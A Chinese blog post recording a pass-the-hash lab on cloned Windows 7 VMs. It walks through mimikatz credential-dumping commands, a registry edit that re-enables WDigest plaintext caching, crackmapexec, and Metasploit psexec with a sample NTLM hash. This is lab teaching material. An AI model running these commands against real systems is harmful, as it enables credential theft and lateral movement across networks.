内网渗透之哈希传递攻击

(作业记录

0x01

利用VMware的克隆功能克隆一台win7,取名为win7-2。
image

image.png

0x02

启用win7和win7-2的系统管理员 Administrator 账户及设置密码

法一

启用管理员账号administrator
image.png
设置密码为123456
image.png

法二

打开开始菜单,右击“计算机”,选择“管理”。
image.png
在“计算机管理”窗口,依次定位到“本地用户和组->用户”。单击展开“用户”项。
image.png
image.png
在右边的细节窗口中,右击“Administrator”,选择“属性”。 默认状态下,Administrator 属性窗口中“账户已禁用”项是勾选着的。我们需要取消其勾选,然后按“确定”保存更改。
image.png

0x03

任选上课中介绍的一款工具读取win7的本地账号和对应的NTLM hash值。

Windows账号密码存放路径

路径:C:\Windows\System32\config\sam
在SAM文件中所存储的是密码的hash值,而不是明文密码。
image.png

本地身份认证过程

Windows Logon Process(即winlogon.exe):是Windows NT 用户登陆程序,用于管理用户登陆和退出。
LSASS:用于微软Windows系统的安全机制,它用于本地安全和登陆策略。

首先,用户注销、重启、锁屏后,操作系统会让winlogon.exe显示登陆界面,也就是输入框界面,接收用户的输入信息后,将密码交给lsass进程,这个过程中会存一份明文密码,将明文密码加密成NTLM Hash值,对SAM数据库进行比较认证。
image.png

获取本地数据库信息的方法可以分为两种:

这个实验只演示Mimikatz获取本地信息

一.在线读取SAM数据库:

1.Mimikatz抓取密码信息
2.Pwdump抓取
3.Powershell抓取

二.离线获取SAM数据库(获取当前系统的sam,在另一个系统读取):

1.注册表导出sam。
2.Ninjiacopy
3.procdump

先切换登录用户administrator

image.png

使用mimikatz读取用户密码

用管理员打开mimikatz,输入privilege::debug获取调试权限。
在 windows⾥,调试权限可以⽤来调试进程,甚至是调试内核。对于 mimi-katz的工作原理必须要读取内存,那么只有它拥有了调试的权限才能去打开进程。所以mimikatz能抓取hash或者明码的一个必要条件拥有调试程序的权限。
image.png
输入命令sekurlas::logonPasswords抓取用户的NTLM和密码123456
msv:这项是账户对应密码的各种加密协议的密文,可以看到有LM、NTLM和SHA1加密的密文
tspkg,wdigest,kerberos:这个就是账户对应的明文密码了。有的时候这三个对应的也不是全部都是一样的,需要看服务器是什么角色。
SSP:是最新登录到其他RDP终端的账户和密码
image.png
image.png
根据NTLM解密网站解密hash值,依旧可以得出密码123456
image.png

sekurlsa模块

sekurlsa::logonpasswords

抓取用户NTLM哈希
sekurlsa::msv

加载dmp文件,并导出其中的明文密码
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full

导出lsass.exe进程中所有的票据
sekurlsa::tickets /export

kerberos模块

列出系统中的票据
kerberos::list
kerberos::tgt

清除系统中的票据
kerberos::purge

导入票据到系统中
kerberos::ptc 票据路径

lsadump模块

在域控上执行)查看域kevin.com内指定用户root的详细信息,包括NTLM哈希等
lsadump::dcsync /domain:kevin.com /user:root

(在域控上执行)读取所有域用户的哈希
lsadump::lsa /patch

从sam.hive和system.hive文件中获得NTLM Hash
lsadump::sam /sam:sam.hive /system:system.hive

从本地SAM文件中读取密码哈希
token::elevate
lsadump::sam

wdigest

WDigest协议是在WindowsXP中被引入的,旨在与HTTP协议一起用于身份认证。默认情况下,Microsoft在多个版本的Windows(Windows XP-Windows 8.0和Windows Server 2003-Windows Server 2012)中启用了此协议,这意味着纯文本密码存储在LSASS(本地安全授权子系统服务)进程中。 Mimikatz可以与LSASS交互,允许攻击者通过以下命令检索这些凭据

mimikatz #privilege::debug
mimikatz #sekurlsa::wdigest

Mimikatz抓取用户明码的防御手段及解决手段

虽然利用mimikatz可以较为方便的获取当前登陆用户存储在内存中的明码。但是在安装了KB2871997补丁、系统为win10或2012R2以上或者调整了组策略时,默认在内存缓存中禁止保存明文密码,mimikatz就无法抓取明文密码。
但可以通过修改注册表的方式抓取明文。

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f  
#重启或用户重新登录后可以成功抓取

Mimikatz在线读取所有用户信息

privilege::debug
token::elevate
lsadump::sam

可以查看所有本地用户的相关信息,包括密码的NTLMHash 值,通过对HTLM hash值的破解即可获得密码。
image.png

0x04 哈希传递攻击

在kali上利用在win7上得到的账号信息对win7-2进行PTH攻击,工具选择crackmapexec或msf,PTH攻击成功后在命令行运行net user 查看所有本地用户。

原理

哈希传递的原理是在认证过程中,并不是直接使用用户的密码进行认证的,而是使用用户的hash值,因此,攻击者可以直接利用已经得到的账户密码值来访问远程主机或服务,而不需要提供明文密码。

实现

哈希传递是内网横向移动时非常常用的一种手法,支持PTH的工具很多,例如MSF、powershell脚本、mimikatz等。
漏洞主机:win7-2,IP地址:192.168.1.4
攻击主机:Kali,IP地址:192.168.1.9

使用Crackmapexec进行PTH

crackmapexec smb 被攻击ip -u administrator -H 被攻击ip的用户NTLM即hash值 -x whoami
image.png

Metasploit

初始化及启动

在使用之前我们需要对Metasploit进行初始化,
并启动:

systemctl start postgresql
systemctl enable postgresql

image.png
启动专用的数据库,并设置为每次开机自动启动

msfconsole

或者 点击kali屏幕左上角图标->选择 08->点击Metasploit framework
( msf == Metasploit framework)

Metasploit常用命令

search //按关键字查找

use //选择对应模块并使用
//<1>在use 中想退出模块不退出框架使用 back命令;
//<2> 也可以使用info 查看使用模块的详细信息

show options //查看该模块需要配置的参数

run //运行模块

msf的使用法则三步走

  1. 查找对应可使用模块;
  2. 使用模块并配置模块必选项;
  3. 运行模块。

msf中共有6大模块,分别是:

  1. 渗透攻击模块Exploit Modules:攻击漏洞
  2. 辅助模块Auxiliary Modules:扫描
  3. 攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
  4. 空字段模块Nop Modules
  5. 编码模块Encoders
  6. 后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行

使用Metasploit进行PTH:

auxiliary/admin/smb/psexec_command      // 在目标机器上执行系统命令
exploit/windows/smb/psexec            // 用psexec执行系统命令
exploit/windows/smb/psexec_psh         // 使用powershell作为payload

输入命令msfconsole运行msf
image.png
用psexec执行系统命令 exploit/windows/smb/psexec
image.png
show options
image.png
将rhost设置为被攻击ip
image.png
将smbuser设置为administrator
image.png
将smbpass设置为administrator用户的LM-hash和NTLM-hash(冒号前面为LM,后面为NTLM
set smbpass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
LM为44efce164ab921caaad3b435b51404ee
NTLM为32ed87bdb5fdc5e9cba88547376818d4
image.png
run进入meterpreter即为hash传递攻击成功
image.png
我们输入: shell即可切换到目标主机的windows cmd_shell里面,再net user发现会乱码
image.png
目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8
chcp 65001
再net user,可以查看所有本地用户
image.png

遇到的问题

  1. PTH攻击成功后,找不到在哪net user,查看Metasploit相关使用教程,才知道进入meterpreter之后,先输入shell指令,即可切换到目标主机的windows cmd_shell里面,再输入net user即可

  2. net user的时候会出现目标主机cmd_shell字符乱码。解决方法:设置目标主机命令行的字符编码,65001是UTF-8

image.png

posted @ 2023-04-03 21:17  Zer0o  阅读(323)  评论(0编辑  收藏  举报